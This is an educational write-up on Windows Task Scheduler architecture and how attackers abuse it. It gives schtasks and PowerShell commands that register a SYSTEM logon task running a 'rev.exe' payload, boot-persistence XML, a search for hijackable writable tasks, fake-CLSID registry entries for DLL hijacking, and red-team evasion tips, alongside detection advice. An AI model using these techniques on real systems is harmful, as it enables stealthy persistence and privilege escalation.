Windows Scheduled Tasks
Objective: Understand the architecture and internals of Windows Task Scheduler, how scheduled tasks are created and executed, and how adversaries abuse them for persistence, privilege escalation, and lateral movement.
Contents
Introduction
Windows Task Scheduler is a built-in Windows service that enables automatic execution of tasks based on time, events, system state, or user actions. It is deeply integrated into the OS and extensively used for system maintenance, updates, telemetry, and administrative automation.
However, attackers abuse this trusted subsystem to establish stealthy persistence, execute malicious payloads with SYSTEM privileges, and bypass security controls.

Task Scheduler Architecture
Windows uses Task Scheduler 2.0, introduced in Vista, and backed by:
- Task Scheduler Service (
Schedule
) - COM Interfaces (
ITaskService
,ITaskDefinition
) - XML task definitions stored in system directories
- Task Engine + Actions + Triggers model
Core Components
Component | Description |
---|---|
taskschd.dll | Main Task Scheduler engine DLL |
svchost.exe -k netsvcs | Hosts the Task Scheduler service |
Task Scheduler Library | Logical structure for all tasks |
schtasks.exe | Command-line interface to manage tasks |
taskeng.exe | Executes task actions (usually under user’s session) |
taskhostw.exe | Loads DLL-based scheduled tasks |
Task Storage and Structure
Task File Locations
Location | Purpose |
---|---|
C:\Windows\System32\Tasks\ | Actual task .job files |
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache | Registry mirror/cache of task metadata |
C:\Windows\System32\Tasks\Microsoft\Windows\* | Built-in OS tasks (defrag, telemetry, etc.) |
Task File Format
- Stored in XML format
- Contains:
RegistrationInfo
– Author, date, descriptionTriggers
– Time, event, idle, logon, bootPrincipals
– Security contextActions
– What to run (Exec
,ComHandler
, etc.)Settings
– Constraints, retries, etc.
Example: Boot Persistence XML
<Triggers>
<BootTrigger>
<Enabled>true</Enabled>
</BootTrigger>
</Triggers>
<Actions>
<Exec>
<Command>C:\malicious\rev.exe</Command>
</Exec>
</Actions>
Triggers
Trigger types that can initiate a scheduled task:
Trigger Type | Description |
---|---|
TimeTrigger | At a specific time |
BootTrigger | When system boots |
LogonTrigger | At user logon |
IdleTrigger | When system is idle |
EventTrigger | Based on Windows event log |
RegistrationTrigger | When a task is registered |
CustomTrigger | WMI queries or custom events |
Actions
Common types of actions defined within a task:
Action Type | Description |
---|---|
Exec | Executes a command, script, or binary |
ComHandler | Calls a COM class |
SendEmail | Deprecated |
ShowMessage | Deprecated |
Example:
<Exec>
<Command>C:\Windows\System32\calc.exe</Command>
</Exec>
Security Context (Principals)
Scheduled tasks can run under any account context:
SYSTEM
– Full machine-level privilegeLOCAL SERVICE
/NETWORK SERVICE
Administrator
,User
accountsGroup Managed Service Accounts (gMSA)
Privilege is set via:
<Principal>
<UserId>S-1-5-18</UserId> <!-- SYSTEM SID -->
<RunLevel>HighestAvailable</RunLevel>
</Principal>
If RunLevel
is HighestAvailable
, UAC elevation is requested.
Scheduled Task Abuse Techniques
1. Persistence via Task Registration
Create a malicious task to run a payload at boot/logon.
schtasks /create /tn "UpdateCheck" /tr "C:\temp\rev.exe" /sc onlogon /ru SYSTEM
PowerShell equivalent:
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "UpdateCheck" -RunLevel Highest -User "SYSTEM"
2. Privilege Escalation via SYSTEM Tasks
If a scheduled task runs as SYSTEM and is writeable by the user, an attacker can hijack it:
- Modify its
Action
path - Replace the payload
- Wait for it to trigger (e.g., at boot)
Check for vulnerable tasks:
Get-ScheduledTask | Where-Object {
($_.Principal.UserId -eq "SYSTEM") -and
((Get-Acl $("C:\Windows\System32\Tasks\" + $_.TaskName)).AccessToString -match "Everyone.*Write")
}
3. DLL Hijacking via taskhostw.exe
Some scheduled tasks load in-process COM handlers (DLLs):
- Register a fake CLSID in registry
- Drop malicious DLL in expected path
- Task executes DLL as SYSTEM
Example Registry Setup:
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{malicious-guid}]
@="MyTask"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{malicious-guid}\InprocServer32]
@="C:\\evil.dll"
"ThreadingModel"="Apartment"
Then register a task with COMHandler using this CLSID.
Detection Techniques
Technique | Method |
---|---|
List all tasks | schtasks /query /fo LIST /v |
Task XML dump | schtasks /query /TN "TaskName" /XML |
Check task folder ACLs | icacls C:\Windows\System32\Tasks\* |
Event Log: Task creation | Event ID 106 (Microsoft-Windows-TaskScheduler/Operational) |
Event Log: Task execution | Event ID 200, 201, 202 |
Red Team Use Cases
Use Case | Technique |
---|---|
Evasion | Set execution at idle or obscure event |
Covert Execution | Use renamed schtasks.exe or COM-based API |
Time-Based Persistence | Run only once at a delayed time |
Remote Task Drop | Via schtasks /create /S <target> using stolen creds |
Blue Team Tips
- Monitor changes in
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule
- Set audit rules on
\Tasks\
folder - Use Sysmon Event ID 1 (Process Create) + correlate with task execution
- Block
schtasks.exe
via AppLocker for standard users - Check for non-standard authors or empty descriptions
Summary
- Task Scheduler is a core Windows subsystem used for automation and persistence.
- It supports complex triggers, actions, and runs tasks in various privilege contexts.
- Attackers can abuse it to execute payloads stealthily, elevate privileges, or persist across reboots.
- Defenders can detect anomalies via XML inspection, ACL audits, and log monitoring.